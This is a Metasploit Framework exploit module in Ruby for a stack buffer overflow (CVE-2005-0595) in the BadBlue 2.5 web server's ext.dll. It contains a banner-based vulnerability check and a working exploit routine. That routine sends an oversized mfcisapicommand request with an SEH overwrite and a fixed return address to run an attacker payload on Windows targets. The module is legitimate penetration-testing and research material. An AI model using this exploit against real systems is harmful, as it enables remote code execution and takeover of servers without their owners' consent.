## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'BadBlue 2.5 EXT.dll Buffer Overflow', 'Description' => %q{ This is a stack overflow exploit for BadBlue version 2.5. }, 'Author' => 'acaro ', 'License' => BSD_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2005-0595' ], [ 'OSVDB', '14238' ], [ 'BID', '7387' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => true, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['BadBlue 2.5 (Universal)', { 'Ret' => 0x1003d9da }], ], 'DisclosureDate' => 'Apr 20 2003', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80) ], self.class ) end def check connect sock.put("GET / HTTP/1.0\r\n\r\n") resp = sock.get_once disconnect if (resp =~ /BadBlue\/2.5/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect uri = "GET /ext.dll?mfcisapicommand=" sploit = rand_text_alphanumeric(500) seh = generate_seh_payload(target.ret) sploit[492, seh.length] = seh print_status("Trying target #{target.name}...") sock.put(uri + sploit + "\r\n\r\n") handler disconnect end end